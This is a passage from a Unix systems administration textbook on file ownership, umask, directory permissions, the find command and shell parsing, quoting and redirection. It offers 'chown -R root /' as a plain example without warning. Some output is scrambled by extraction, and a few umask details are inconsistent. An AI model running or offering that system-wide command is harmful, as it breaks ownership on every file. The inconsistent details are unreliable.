David Jones, Bruce Jamieson (2/20/25) Page 98

 85321, Systems Administration Chapter 5: Processes and Files

For example

dinbig$ whoami
david
dinbig$ groups
users
dinbig$ ls -l tmp
-rwxr-xr-x 2 david users 1024 Feb 1 21:49 tmp
dinbig$ ls -l /etc/passwd
dinbig$ chgrp users /etc/passwd
chgrp: /etc/passwd: Operation not permitted
-rw-r--r-- 1 root root 697 Feb 1 21:21 /etc/passwd
dinbig$ chgrp man tmp
chgrp: you are not a member of group `man': Operation not permitted
In this example I've tried to change the group owner of /etc/passwd. This failed
because I am not the owner of that file.
I've also tried to change the group owner of the file tmp, of which I am the owner, to
the group man. However I am not a member of the group man so it has also failed.

The commands

The commands chown and chgrp are used to change the owner and group owner of
a file.

Format

chown [-R] owner files

chgrp [-R] group files
The optional switch -R works in the same was as the -R switch for chmod. It modifies
the command so that it descends any directories and performs the command on those
sub-directories and files in those sub-directories.
owner is either a numeric user identifier or a username.
group is either a numeric group identifier or a group name.
files is a list of files of which you wish to change the ownership.
Some systems (Linux included) allow owner in the chown command to take the format
owner.group. This allows you to change the owner and the group owner of a file with
one command.

Examples
 chown david /home/david
Change the owner of the directory /home/david to david. This demonstrates one

David Jones, Bruce Jamieson (2/20/25) Page 99

 85321, Systems Administration Chapter 5: Processes and Files

of the primary uses of the chown command. When a new account is created the
root user creates a number of directories and files. Since root created them they are
owned by root. In real life these files and directories should be owned by the new
username.
 chown -R root /
Change the owner of all files to root.
 chown david.users /home/david
Change the ownership of the file /home/david so that it is owned by the user
david and the group users.
 chgrp users /home/david
Change the group owner of the directory /home/david to the group users.

Default permissions

When you create a new file it automatically receives a set of file permissions.
dinbig:~$ touch testing
dinbig:~$ ls -l testing
-rw-r--r-- 1 david users 0 Feb 10 17:36 testing

In this example the file testing has been given the default permissions rw-r--r--.
Any file I create will receive the same default permissions.

umask

The built-in shell command umask is used specify and view what the default file
permissions are. Executing the umask command without any arguments will cause it to
display what the current default permissions are.
dinbig:~$ umask
022
By default the umask command uses the numeric format for permissions. It returns a
number which specifies which permissions are turned off when a file is created.
In the above example
 the user has the value 0
This means that by default no permissions are turned off for the user.
 the group and other have the value 2
This means that by default the write permission is turned off.
You will notice that the even though the execute permission is not turned off my
default file doesn't have the execute permission turned on. I am not aware of the exact
reason for this.

umask versions

David Jones, Bruce Jamieson (2/20/25) Page 100

85321, Systems Administration Chapter 5: Processes and Files

Since umask is a built-in shell command the operation of the umask command will
depend on the shell you are using. This also means that you'll have to look at the man
page for your shell to find information about the umask command.

David Jones, Bruce Jamieson (2/20/25) Page 101

 85321, Systems Administration Chapter 5: Processes and Files

umask for bash

The standard shell for Linux is bash. The version of umask for this shell supports
symbolic permissions as well as numeric permissions. This allows you to perform the
following.
dinbig:~$ umask -S
u=rwx,g=r,o=r
dinbig:~$ umask u=rw,g=rw,o=
dinbig:~$ umask -S
u=rw,g=rw,o=

Exercises

5.10 Use the umask command so that the default permissions for new files are set to
rw------- 772

File permissions and directories

As shown in table 5.2 file permissions have a slightly different effect on directories
than they do on files.
The following example is designed to reinforce your understanding of the effect of file
permissions on directories.

For example

Assume that
 I have an account on the same UNIX machine as you
 we belong to different groups
 I want to allow you to access the text for assignment one
 I want you to copy your finished assignments into my directory
 But I don't want you to see anything else in my directories
The following diagram represents part of my directory hierarchy including the file
permissions for each directory.
Figure 5.4
Permissions
and Directories

David Jones, Bruce Jamieson (2/20/25) Page 102

85321, Systems Administration Chapter 5: Processes and Files

What happens if?

What happens if you try the following commands

 ls -l david
To perform an ls you must have read permission on the directory. In this case you
don't. Only myself, as the owner of the file has read permission, so only I can
obtain a listing of the files in my directory.
 cat david/phone.book
You’re trying to have a look at my phone book but you can't. You have permission
to do things to files in my directory because you have execute permission on the
directory david. However the permissions on the phone.book file mean that only
I can read it. The same things occurs if you try the command cp
david/phone.book ~/phone.book. To the file system you are trying to do the
same thing, read the file phone.book.
 ls david/85321 The permissions are set up so you can get a listing of the files in
the david/85321 directory. Notice you have read permission on the 85321
directory.
 cat david/85321/assign.txt
Here you're trying to have a look at the assignment text. This will work. You have
read permission on the file so you can read it. You have execute permission on the
directories 85321 and david which means you can gain access to files and
directories within those directories (if the permissions on the files let you).
 cat david/85321/solutions/assign1.sol
Trying to steal a look at the solutions? Well you have the permissions on the file to
do this. But you don't have the permissions on the directory solutions so this will
fail.
What would happen if I executed this command
 chmod o+r david/85321/solutions
This would add read permission for you to the directory solutions. Can you read
the assign1.sol file now? No you can't. To read the file or do anything with a file
you must have execute permission on the directory it is in.
 cp my.assign david/85321/assign.txt
What's this? Trying to replace my assignment with one of your own? Will this
work? No because you don't have write permission for the file assign.txt.

Links
Hard and soft links

A reading describing links, both hard and soft, is included on the 85321 Web
site/CD-ROM under the resource materials section for week 2.

David Jones, Bruce Jamieson (2/20/25) Page 103

 85321, Systems Administration Chapter 5: Processes and Files

Searching the file hierarchy

A common task for a Systems Administrator is searching the UNIX file hierarchy for
files which match certain criteria. Some common examples of what and why a
Systems Administrator may wish to do this include
 searching for very large files
 finding where on the disk a particular file is
 deleting all the files owned by a particular user
 displaying the names of all files modified in the last two days.
Given the size of the UNIX file hierarchy and the number of files it contains this isn’t
a task that can be done by hand. This is where the find command becomes useful.

The find command

The find command is used to search through the directories of a file system looking
for files that match a specific criteria. Once a file matching the criteria is found the
find command can be told to perform a number of different tasks including running
any UNIX command on the file.

find command format

The format for the find command is

find [path-list] [expression]
path-list is a list of directories in which the find command will search for files.
The command will recursively descend through all sub-directories under these
directories. The expression component is explained in the next section.
Both the path and the expression are optional. If you run the find command without
any parameters it uses a default path, the current directory, and a default expression,
print the name of the file. The following is an example of what happens
dinbig:~$ find
.
./iAm
./iAm.c
./parameters
./numbers
./pass
./func
./func2
./func3
./pattern
./Adirectory

David Jones, Bruce Jamieson (2/20/25) Page 104

 85321, Systems Administration Chapter 5: Processes and Files

./Adirectory/oneFile

The default path is the current directory. In this example the find command has
recursively searched through all the directories within the current directory.
The default expression is -print. This is a find command that tells the find
command to display the name of all the files it found.
Since there was no test specified the find command matched all files.

find expressions

A find expression can contain the following components

 options,
These modify the way in which the find command operates.
 tests,
These decide whether or not the current file is the one you are looking for.
 actions,
Specify what to do once a file has been selected by the tests.
 and operators.
Used to group expressions together.
find options

Options are normally placed at the start of an expression. Table 5.6 summarises some
of the find commands options.
Option Effect
-daystart for tests using time measure time from the beginning of today
-depth process the contents of a directory before the directory
-maxdepth number number is a positive integer that specifies the maximum
number of directories to descend
-mindepth number number is a positive integer that specifies at which level to
start applying tests
-mount don't cross over to other partitions
-xdev don't cross over to other partitions
Ta b l e 5 . 6
find options

For example

The following are two examples of using find's options. Since I don't specify a path
in which to start searching the default value, the current directory, is used.
dinbig:~$ find -mindepth 2
./Adirectory/oneFile

David Jones, Bruce Jamieson (2/20/25) Page 105

 85321, Systems Administration Chapter 5: Processes and Files

In this example the mindepth option tells find to only find files or directories which
are at least two directories below the starting point.

dinbig:~$ find -maxdepth 1

.
./iAm
./iAm.c
./parameters
./numbers
./pass
./func
./func2
./func3
./pattern
./Adirectory
This option restricts find to those files which are in the current directory.

find tests

Tests are used to find particular files based on

 when the file was last accessed
 when the file's status was last changed
 when the file was last modified
 the size of the file
 the file's type
 the owner or group owner of the file
 the file's name
 the file's inode number
 the number and type of links the file has to it
 the file's permissions
Table 5.7 summarises find's tests. A number of the tests take numeric values. For
example, the number of days since a file was modified. For these situations the
numeric value can be specified using one of the following formats (in the following n
is a number)
 +n
greater than n
 -n
less than n
 n
equal to n

For example

David Jones, Bruce Jamieson (2/20/25) Page 106

85321, Systems Administration Chapter 5: Processes and Files

Some examples of using tests are shown below. Note that in all these examples no
command is used. Therefore the find command uses the default command which is to
print the names of the files.
 find . -user david
Find all the files under the current directory owned by the user david
 find / -name \*.html
Find all the files one the entire file system that end in .html. Notice that the *
must be quoted so that the shell doesn't interpret it (explained in more detail
below). Instead we want the shell to pass the *.html to the find command and
have it match filenames.
 find /home -size +2500k -mtime -7
Find all the files under the /home directory that are greater than 2500 kilobytes in
size and have been in modified in the last seven days.
The last example shows it is possible to combine multiple tests. It is also an example
of using numeric values. The +2500 will match any value greater than 2500. The -7
will match any value less than 7.

David Jones, Bruce Jamieson (2/20/25) Page 107

 85321, Systems Administration Chapter 5: Processes and Files

Shell special characters

The shell is the program which implements the UNIX command line
interface at which you use these commands. Before executing
commands the shell looks for special characters. If it finds any it
performs some special operations. In some cases, like the previous
command, you don't want the shell to do this. So you quote the
special characters. This process is explained in more detail in the
following chapter.

Test Effect
-amin n file last access n minutes ago
-anewer file the current file was access more recently than file
-atime n file last accessed n days ago
-cmin n file's status was changed n minutes ago
-cnewer file the current file's status was changed more recently than file's
-ctime n file's status was last changed n days ago
-mmin n file's data was last modified n minutes ago
-mtime n the current file's data was modified n days ago
-name pattern the name of the file matches pattern -iname is a case
insensitive version of –name -regex allows the use of REs
to match filename
-nouser-nogroup the file's UID or GID does not match a valid user or group
-perm mode the file's permissions match mode (either symbolic or numeric)
-size n[bck] the file uses n units of space, b is blocks, c is bytes, k is
kilobytes
-type c the file is of type c where c can be block device file, character
device file, directory, named pipe, regular file, symbolic link,
socket
-uid n -gid n the file's UID or GID matches n
-user uname the file is owned by the user with name uname
Ta b l e 5 . 7
find tests

find actions

Once you've found the files you were looking for you want to do something with
them. The find command provides a number of actions most of which allow you to
either
 execute a command on the file, or
 display the name and other information about the file in a variety of formats

David Jones, Bruce Jamieson (2/20/25) Page 108

85321, Systems Administration Chapter 5: Processes and Files

For the various find actions that display information about the file you are urged to
examine the manual page for find

David Jones, Bruce Jamieson (2/20/25) Page 109

 85321, Systems Administration Chapter 5: Processes and Files

Executing a command

find has two actions that will execute a command on the files found. They are -exec
and -ok.
The format to use them is as follows
-exec command ;
-ok command ;
command is any UNIX command.
The main difference between exec and ok is that ok will ask the user before executing
the command. exec just does it.

For example

Some examples of using the exec and ok actions include

 find . -exec grep hello \{\} \;
Search all the files under the local directory for the word hello.
 find / -name \*.bak -ok rm \{\} \;
Find all files ending with .bak and ask the user if they wish to delete those files.

{} and ;

The exec and ok actions of the find command make special use of {} and ;
characters. Since both {} and ; have special meaning to the shell they must be quoted
when used with the find command.
{} is used to refer to the file that find has just tested. So in the last example rm \{\}
will delete each file that the find tests match.
The ; is used to indicate the end of the command to be executed by exec or ok.

Exercises

5.11 As was mentioned above the {} and ; used in the exec and ok actions of the
find command must be quoted.
As a group decide why the following command doesn't work.
find . -name \*.bak -ok rm '{} ;'
5.12 Use find to print the names of every file on your file system that has nothing
in it find where the file XF86Config is

David Jones, Bruce Jamieson (2/20/25) Page 110

 85321, Systems Administration Chapter 5: Processes and Files

Performing commands on many files

Every UNIX command you execute requires a new process to be created. Creating a
new process is a fairly heavyweight procedure for the operating system and can take
quite some time. When you are performing a task it can save time if you minimise
the number of new processes which are created.
It is common for a Systems Administrator to want to perform some task which
requires a large number of processes. Some uses of the find command offer a good
example.

For example

Take the requirement to find all the HTML files on a Web site which contain the word
expired. There are at least three different ways we can do this
 using the find command and the -exec switch,
 using the find command and back quotes ``,
 using the find command and the xargs command.
In the following we'll look at each of these.
More than one way to do something
One of the characteristics of the UNIX operating system is that there
is always more than one way to perform some task.

find and -exec

We'll assume the files we are talking about in each of these examples are contained in
the directory /usr/local/www
find /usr/local/www -name \*.html -exec grep -l expired \{\} \;
The -l switch of grep causes it to display the filename of any file in which it finds a
match. So this command will list the names of all the files containing expired.

While this works there is a slight problem, it is inefficient. These commands work as
follows
 find searches through the directory structure,
 everytime it finds a file that matches the test (in this example that it has the
extension html) it will run the appropriate command
 the operating system creates a new process for the command,
 once the command has executed for that file it dies and the operating system must
clean up,
 now we restart at the top with find looking for the appropriate file

David Jones, Bruce Jamieson (2/20/25) Page 111

 85321, Systems Administration Chapter 5: Processes and Files

On any decent Web site it is possible that there will be tens and even hundreds of
thousands of HTML files. This implies that this command will result in hundreds of
thousands of processes being created. This can take quite some time.

find and back quotes

A solution to this is to find all the matching files first, and then pass them to a single
grep command.
grep -l expired `find /usr/local/www -name \*.html`
In this example there are only two processes created. One for the find command
and one for the grep.
Back quotes
Back quotes `` are an example of the shell special characters
mentioned previously. When the shell sees `` characters it knows it
must execute the command enclosed by the `` and then replace the
command with the output of the command.
In the above example the shell will execute the find command which
is enclosed by the `` characters. It will then replace the `find
/usr/local/www -name \*.html` with the output of the
command. Now the shell executes the grep command.
Back quotes are explained in more detail in the next
chapter.

To show the difference that this makes you can use the time command. time is used
to record how long it takes for a command to finish (and a few other stats). The
following is an example from which you can see the significant difference in time and
resources used by reducing the number of processes.
beldin:~$ time grep -l expired `find 85321/* -name index.html`
0.04user 0.22system 0:02.86elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (0major+0minor)pagefaults 0swaps
beldin:~$ time find 85321/* -name index.html -exec grep -l expired \{\} \;
1.33user 1.90system 0:03.55elapsed 90%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (0major+0minor)pagefaults 0swaps

The time command can also report a great deal more information about a process and
its interaction with the operating system. Especially if you use the verbose option
(time –v some_command)

find and xargs

While in many cases the combination of find and back quotes will work perfectly,
this method has one serious drawback as demonstrated in the following example.

David Jones, Bruce Jamieson (2/20/25) Page 112

 85321, Systems Administration Chapter 5: Processes and Files

beldin:~$ grep -l expired `find 85321/* -name \*`

bash: /usr/bin/grep: Arg list too long
The problem here is that a command line can only be so long. In the above example
the find command found so many files that the names of these files exceeded the
limit.
This is where the xargs command enters the picture.
Rather than pass the list of filenames as a parameter to the command, xargs allows
the list of filenames to be passed as standard input (standard input is explained in more
detail in a following chapter). This means we side-step the problem of exceeding the
number of parameters.
Have a look at the man page for xargs for more information. Here is the example
rewritten to use xargs
find /usr/local/www -name \* | xargs grep -l expired
There are now three processes created, find, xargs and grep. However it does
avoid the problem of the argument list being too long.

Conclusion
UNIX is a multi-user operating system and as such must provide mechanisms to
uniquely identify users and protect the resources of one user from other users. Under
UNIX users are uniquely identified by a username and a user identifier (UID). The
relationship between username and UID is specified in the /etc/passwd file.
UNIX also provides the ability to collect users into groups. A user belongs to at least
one group specified in the /etc/passwd file but can also belong to other groups
specified in the /etc/group file. Each group is identified by both a group name and a
group identifier (GID). The relationship between group name and GID is specified in
the /etc/group file.
All work performed on a UNIX computer is performed by processes. Each process has
a real UID/GID pair and an effective UID/GID pair. The real UID/GID match the
UID/GID of the user who started the process and are used for accounting purposes.
The effective UID/GID are used for deciding the permissions of the process. While the
effective UID/GID are normally the same as the real UID/GID it is possible using the
setuid/setgid file permissions to change the effective UID/GID so that it matches the
UID and GID of the file containing the process' code.
The UNIX file system uses a data structure called an inode to store information about
a file including file type, file permissions, UID, GID, number of links, file size, date
last modified and where the files data is stored on disk. A file's name is stored in the
directory which contains it.
A file's permissions can be represented using either symbolic or numeric modes. Valid
operations on a file include read, write and execute. Users wishing to perform an

David Jones, Bruce Jamieson (2/20/25) Page 113

85321, Systems Administration Chapter 5: Processes and Files

operation on a file belong to one of three categories the user who owns the file, the
group that owns the file and anyone (other) not in the first two categories.
A file's permissions can only be changed by the user who owns the file and are
changed using the chmod command. The owner of a file can only be changed by the
root user using the chown command. The group owner of a file can be changed by root
user or by the owner of the file using the chgrp command. The file's owner can only
change the group to another group she belongs to.
Links both hard and soft are mechanisms by which more than one filename can be
used to refer to the same file.

Review Questions
5.1 For each of the following commands indicate whether they are built-in shell
commands, "normal" UNIX commands or not valid commands. If they are "normal"
UNIX commands indicate where the command's executable program is located.
 alias
 history
 rename
 last

5.2 How would you find out what your UID, GID and the groups you currently belong
to?

5.3 Assume that you are logged in with the username david and that your current
directory contains the following files
bash# ls –il
total 2
103807 -rw-r--r-- 2 david users 0 Aug 25 13:24 agenda.doc
103808 -rwsr--r-- 1 root users 0 Aug 25 14:11 meeting
103806 -rw-r--r-- 1 david users 2032 Aug 22 11:42 minutes.txt
103807 -rw-r--r-- 2 david users 0 Aug 25 13:24 old_agenda

For each of the following commands indicate

 whether or not it will work,
 if it works specify how the above directory listing will change,
 if it doesn't work why?

chmod 777 minutes.txt

chmod u+w agenda.doc

David Jones, Bruce Jamieson (2/20/25) Page 114

 85321, Systems Administration Chapter 5: Processes and Files

chmod o-x meeting

chmod u+s minutes.txt
ln -s meeting new_meeting

chown root old_agenda

5.4 Assume that the following files exist in the current directory.
bash$ ls -li
total 1
32845 -rw-r--r-- 2 jonesd users 0 Apr 6 15:38 cq_uni_doc
32845 -rw-r--r-- 2 jonesd users 0 Apr 6 15:38 cqu_union
32847 lrwxr-xr-x 1 jonesd users 10 Apr 6 15:38 osborne -> cq_uni_doc

For each of the following commands explain how the output of the command ls -li
will change AFTER the command has been executed. Assume that that each command
starts with the above information
For example, after the command mv cq_uni_doc CQ.DOC the only change would be
that entry for the file cq_uni_doc would change to
32845 -rw-r--r-- 2 jonesd users 0 Apr 6 15:38 CQ.DOC

chmod a-x osborne

chmod 770 cqu_union
rm cqu_union
rm cqu_uni_doc
The files cq_uni_doc and cqu_union both point to the same file using a hard link.
Above I have stated that if you execute the command mv cq_uni_doc CQ.DOC the
only thing that changes is the name of the file cq_uni_doc. Why doesn't the name of
the file cqu_union change also?

David Jones, Bruce Jamieson (2/20/25) Page 115

85321, Systems Administration Chapter 6: The shell

Chapter 6
The Shell

Introduction
You will hear many people complain that the UNIX operating system is hard to use.
They are wrong. What they actually mean to say is that the UNIX command line
interface is difficult to use. This is the interface that many people think is UNIX. In
fact, this command line interface, provided by a program called a shell, is not the
UNIX operating system and it is only one of the many different interfaces that you can
use to perform tasks under UNIX. By this stage many of you will have used some of
the graphical user interfaces provided by the X-Windows system.
The shell interface is a powerful tool for a Systems Administrator and one that is often
used. This chapter introduces you to the shell, it’s facilities and advantages. It is
important to realise that the shell is just another UNIX command and that there are
many different sorts of shell. The responsibilities of the shell include
 providing the command line interface
 performing I/O redirection
 performing filename substitution
 performing variable substitution
 and providing an interpreted programming language
The aim of this chapter is to introduce you to the shell and the first four of the
responsibilities listed above. The interpreted programming language provided by a
shell is the topic of chapter 8.

Executing Commands
As mentioned previously the commands you use such as ls and cd are stored on a
UNIX computer as executable files. How are these files executed? This is one of
the major responsibilities of a shell. The command line interface at which you type
commands is provided by the particular shell program you are using (under Linux you
will usually be using a shell called bash). When you type a command at this
interface and hit enter the shell performs the following steps
 wait for the user to enter a command
 perform a number of tasks if the command contains any special characters
 find the executable file for the command, if the file can't be found generate an
error message

David Jones, Bruce Jamieson (2/20/25) Page 116

 85321, Systems Administration Chapter 6: The shell

 fork off a child process that will execute the command,

 wait until the command is finished (the child process dies) and then return to the
top of the list

Different shells

There are many different types of shells. Table 6.1 provides a list of some of the more
popular UNIX shells. Under Linux most users will be using bash, the Bourne Again
Shell. bash is an extension of the Bourne shell and uses the Bourne shell syntax. All
of the examples in this text are written using the bash syntax.
All shells fulfil the same basic responsibilities. The main differences between shells
include
 the extra features provided
Many shells provide command history, command line editing, command
completion and other special features.
 the syntax
Different shells use slightly different syntax for some commands.

Shell Program name Description

XE "sh"Bourne sh the original shell from AT&T, available on all
shell UNIX machines
XE "csh"C shell csh shell developed as part of BSD UNIX
XE "ksh"Korn shell ksh AT&T improvement of the Bourne shell
XE "bash"Bourne bash Shell distributed with Linux, version of
again shell Bourne shell that includes command line
editing and other nice things
Ta b l e 6 . 1
Different UNIX shells

Starting a shell

When you log onto a UNIX machine the UNIX login process automatically executes a
shell for you. Which shell is executed is defined in the last field of your entry in the
/etc/passwd file.

The last field of every line of /etc/passwd specifies which program to execute when
the user logs in. The program is usually a shell (but it doesn't have to be).

Exercises

6.1 What shell is started when you login?

David Jones, Bruce Jamieson (2/20/25) Page 117

 85321, Systems Administration Chapter 6: The shell

The shell itself is just another executable program. This means you can choose to run
another shell in the same way you would run any other command by simply typing in
the name of the executable file. When you do the shell you are currently running will
find the program and execute it.
To exit a shell any of the following may work (depending on how your environment is
set up).
 logout
 exit
 CTRL-D
By default control D is the end of file (EOF) marker in UNIX. By pressing
CTRL-D you are telling the shell that it has reached the end of the file and so it
exits. In a later chapter which examines shell programming you will see why
shells work with files.

For example
The following is a simple example of starting other shells. Most different shells use a
different command-line prompt.

bash$ sh
$ csh
% tcsh
> exit
%
$
bash$

In the above my original login shell is bash. A number of different shells are then
started up. Each new shell in this example changes the prompt (this doesn't always
happen). After starting up the tcsh shell I've then exited out of all the new shells and
returned to the original bash.

Parsing the command line

The first task the shell performs when you enter a command is to parse the command
line. This means the shell takes what you typed in and breaks it up into components
and also changes the command-line if certain special characters exist.
Table 6.2 lists most of the special characters which the shell recognises and the
meaning the shell places on these characters. In the following discussion the effect of
this meaning and what the shell does with these special characters will be explained in
more detail.

David Jones, Bruce Jamieson (2/20/25) Page 118

 85321, Systems Administration Chapter 6: The shell

Character(s) Meaning
white space Any white space characters (tabs, spaces)
are used to separate arguments multiple
white space characters are ignored
newline character used to indicate the end of the command-
line
' " \ special quote characters that change the
way the shell interprets special characters
& Used after a command, tells the shell to
run the command in the background
< >> << ` | I/O redirection characters
* ? [ ] [^ filename substitution characters
$ indicate a shell variable
; used to separate multiple commands on
the one line
Ta b l e 6 . 2
Shell special characters

The Command Line

The following section examines, and attempts to explain, the special shell characters
which influence the command line. This influence includes
 breaking the command line into arguments
 allows more than one command to a line
 allows commands to be run in the background

Arguments

One of the first steps for the shell is to break the line of text entered by the user into
arguments. This is usually the task of whitespace characters.
What will the following command display?
echo hello there my friend
It won't display
hello there my friend
instead it will display
hello there my friend
When the shell examines the text of a command it divides it into the command and a
list of arguments. A white space character separates the command and each
argument. Any duplicate white space characters are ignored. The following diagram
demonstrates.

David Jones, Bruce Jamieson (2/20/25) Page 119

 85321, Systems Administration Chapter 6: The shell

Figure 6.1
Shells,
white space
and arguments

Eventually the
shell will execute
the command.
The shell passes to
the command a
list of arguments. The command then proceeds to perform its function. In the case
above the command the user entered was the echo command. The purpose of the
echo command is to display each of its arguments onto the screen separated by a
single space character.
The important part here is that the echo command never sees all the extra space
characters between hello and there. The shell removes this whilst it is
performing its parsing of the command line.

One command to a line

The second shell special character in Table 6.2 is the newline character. The newline
character tells the shell that the user has finished entering a command and that the
shell should start parsing and then executing the command. The shell makes a
number of assumptions about the command line a user has entered including
 there is only one command to each line
 the shell should not present the next command prompt until the command the user
entered is finished executing.
This section examines how some of the shell special characters can be used to change
these assumptions.

Multiple commands to a line

The ; character can be used to place multiple commands onto the one line.
ls ; cd /etc ; ls

The shell sees the ; characters and knows that this indicates the end of one command
and the start of another.

David Jones, Bruce Jamieson (2/20/25) Page 120

 85321, Systems Administration Chapter 6: The shell

Commands in the background

By default the shell will wait until the command it is running for the user has finished
executing before presenting the next command line prompt. This default operation
can be changed by using the & character. The & character tells the shell that it should
immediately present the next command line prompt and run the command in the
background.
This provides major benefits if the command you are executing is going to take a long
time to complete. Running it in the background allows you to go on and perform
other commands without having to wait for it to complete.
However, you won’t wish to use this all the time as some confusion between the
output of the command running in the background and shell command prompt can
occur.

For example
The sleep command usually takes on argument, a number. This number represents
the number of seconds the sleep command should wait before finishing. Try the
following commands on your system to see the difference the & character can make.

bash$ sleep 10
bash$ sleep 10 &

Filename substitution
In the great majority of situations you will want to use UNIX commands to manipulate
files and directories in some way. To make it easier to manipulate large numbers of
commands the UNIX shell recognises a number of characters which should be
replaced by filenames.
This process is called ether filename substitution or filename globing.

For example
You have a directory which contains HTML files (an extension of .html), GIF files
(an extension of .gif), JPEG files (an extension .jpg) and a range of other files.
You wish to find out how big all the HTML files are.
The hard way to do this is to use the ls –l command and type in all the filenames.
The simple method is to use the shell special character *, which represents any 0 or
more characters in a file name

ls –l *.html

David Jones, Bruce Jamieson (2/20/25) Page 121

85321, Systems Administration Chapter 6: The shell

In the above, the shell sees the * character and recognises it as a shell special
character. The shell knows that it should replace *.html with any files that have
filenames which match. That is, have 0 or more characters, followed by .html

UNIX doesn’t use extensions

MS-DOS and Windows treat a file’s extension as special. UNIX
does not do this.
Table 6.3 lists the other shell special characters which are used in filename
substitution.
Character What it matches
* 0 or more characters
? 1 character
[ ] matches any one character
between the brackets
[^ ] matches any one character NOT in
the brackets
Ta b l e 6 . 3
Filename substitution special characters

Some examples of filename substitution include

 cat *
* will be replaced by the names of all the files and directories in the current
directory. The cat command will then display the contents of all those files.
 ls a*bc
a*bc matches all filenames that start with a, end with bc and have any characters
in between.
 ls a?bc
a?bc matches all filenames that start with a, end with bc and have only ONE
character in between.
 ls [ic]???
[ic]??? matches any filename that starts with either a i or c followed by any
other three letters.
 ls [^ic]???
Same as the previous command but instead of any file that starts with i or c match
any file that DOESN'T start with i or c.

David Jones, Bruce Jamieson (2/20/25) Page 122

 85321, Systems Administration Chapter 6: The shell

Exercises

6.2 Given the following files in your current directory:

$ ls
feb86 jan12.89
jan19.89 jan26.89
jan5.89 jan85 jan86 jan87
jan88 mar88 memo1 memo10
memo2 memo2.sv

What would be the output from the following commands?

echo *
echo *[^0-9]
echo m[a-df-z]*
echo [A-Z]*
echo jan*
echo *.*
echo ?????
echo *89
echo jan?? feb?? mar??
echo [fjm][ae][bnr]

Removing special meaning

There will be times when you won’t want to use the shell special characters as shell
special characters. For example, what happens if you really do want to display
hello there my friend
How do you do it?

It's for circumstances like this that the shell provides shell special characters called
quotes. The quote characters ' " \ tell the shell to ignore the meaning of any shell
special character.
To display the above you could use the command
echo 'hello there my friend'
The first quote character ' tells the shell to ignore the meaning of any special
character between it and the next '. In this case it will ignore the meaning of the
multiple space characters. So the echo command receives one argument instead of
four separate arguments. The following diagram demonstrates.

David Jones, Bruce Jamieson (2/20/25) Page 123

85321, Systems Administration Chapter 6: The shell

Figure 6.2
Shells,
commands
and quotes

Table 6.4 lists

each of the shell
quote
characters,
their names and
how the influence
the shell.
Character Name Action
XE "'"' single quote the shell will ignore all
special characters
contained within a pair of
single quotes
XE "\""" double quote the shell will ignore all
special characters
EXCEPT $ ` \ contained
within a pair of double
quotes
XE "\" "\ backslash the shell ignores any
special character
immediately following a
backslash
Ta b l e 6 . 4
Quote characters

Examples with quotes

Try the following commands and observe what happens

 echo I'm David.
This causes an error because the ‘ quote character must be used as
one of a pair. Since this line doesn’t have a second ‘ character
the shell continues to ignore all the shell special characters it
sees, including the new line character which indicates the end of
a command.
 echo I\'m David.
This is the “correct” implementation of what was attempted above. The \ quote
character is used to remove the special meaning of the ‘ character so it is used as a
normal character
 echo *
 echo '*'

David Jones, Bruce Jamieson (2/20/25) Page 124

85321, Systems Administration Chapter 6: The shell

 echo \*
The previous three show two different approaches to removing the special
meaning from a single character.
 echo one two three four
 echo 'one two three four'
 echo "one two three four"
 echo hello there \
my name is david
Here the \ is used to ignore the special meaning of the newline character at the end
of the first line. This will only work if the newline character is immediately after
the \ character. Remember, the \ character only removes the special meaning
from the next character.
 echo files = ; ls
 echo files = \; ls
Since the special meaning of the ; character is removed by the \ character means
that the shell no longer assumes there are two commands on this line. This means
the ls characters are treated simply as normal characters, not a command which
must be executed.

Exercises

6.3 Create files with the following names

stars*
-top
hello my friend
"goodbye"
Now delete them.

Input/output redirection
As the name suggests input/output (I/O) redirection is about changing the source of
input or destination of output. UNIX I/O redirection is very similar (in part) to MS-
DOS I/O redirection (guess who stole from who). I/O redirection, when combined
with the UNIX philosophy of writing commands to perform one task, is one of the
most important and useful combinations in UNIX.

How it works

All I/O on a UNIX system is achieved using files. This includes I/O to the screen and
from a keyboard. Every process under UNIX will open a number of different files. To
keep a track of the files it has, a process maintains a file descriptor for every file it is
using.

David Jones, Bruce Jamieson (2/20/25) Page 125

 85321, Systems Administration Chapter 6: The shell

File descriptors

A file descriptor is a small, non-negative integer. When a process reads/writes to/from

a file it passes the kernel the file descriptor and asks it to perform the operation. The
kernel knows which file the file descriptor refers to.

Standard file descriptors

Whenever the shell runs a new program (that is when it creates a new process) it
automatically opens three file descriptors for the new process. These file descriptors
are assigned the numbers 0, 1 and 2 (numbers from then on are used by file descriptors
the process uses). The following table summarises their names, number and default
destination.

Name File descriptor Default destination

XE "stdin"standard 0 the keyboard
input (stdin)
XE "stdout"standard 1 the screen
output (stdout)
XE "stderr"standard 2 the screen
error (stderr)
Ta b l e 6 . 5
Standard file descriptors

By default whenever a command asks for input it takes that input from standard input.
Whenever it produces output it puts that output onto standard output and if the
command generates errors then the error messages are placed onto standard error.

Changing direction

By using the special characters in the table below it is possible to tell the shell to
change the destination for standard input, output and error.

For example

cat /etc/passwd > hello

tells the shell rather than send the contents of the /etc/passwd file to standard output,
it should send it to a file called hello.

David Jones, Bruce Jamieson (2/20/25) Page 126

85321, Systems Administration Chapter 6: The shell

Character(s) Result
XE "<"Command < file Take standard input from file
XE ">"Command > file Place output of command into file.
Overwrite anything already in the file.
XE ">>"Command >> file Append the output of command into file.
XE "<<"command << label Take standard input for command from the
following lines until a line that contains
label by itself
XE "`"`command` execute command and replace `command`
with the output of the command
XE "|"command1 | command2 pass the output of command1 to the input
of command2
XE "2>"command1 2> file redirect standard error of command1 to
file. The 2 can actually be replaced by
any number which represents a file
descriptor
XE ">&"command1 >& redirect output of command1 to a
file_descriptor file_descriptor (the actual number for
the file descriptor)
Ta b l e 6 . 6
I/O redirection constructs

Using standard I/O

Not all commands use standard input and standard output. For example the cd
command doesn't take any input and doesn't produce any output. It simply takes the
name of a directory as an argument and changes to that directory. It does however use
standard error if it can't change into the directory.
It doesn't make sense to redirect the I/O of some commands

Filters

On the other hand some commands will always take their input from standard input
and put their output onto standard output. All of the filters discussed in a previous
chapter act this way.
As an example lets take the cat command mentioned previously. If you execute the
cat command without supplying it with any parameters it will take its input from
standard input and place its output onto standard output.
Try it. Execute the command cat with no arguments. Hit CTRL-D, on a line by itself,to
signal the end of input. You should find that cat echoes back to the screen every line
you type.
Try the same experiment with the other filters mentioned earlier.

David Jones, Bruce Jamieson (2/20/25) Page 127

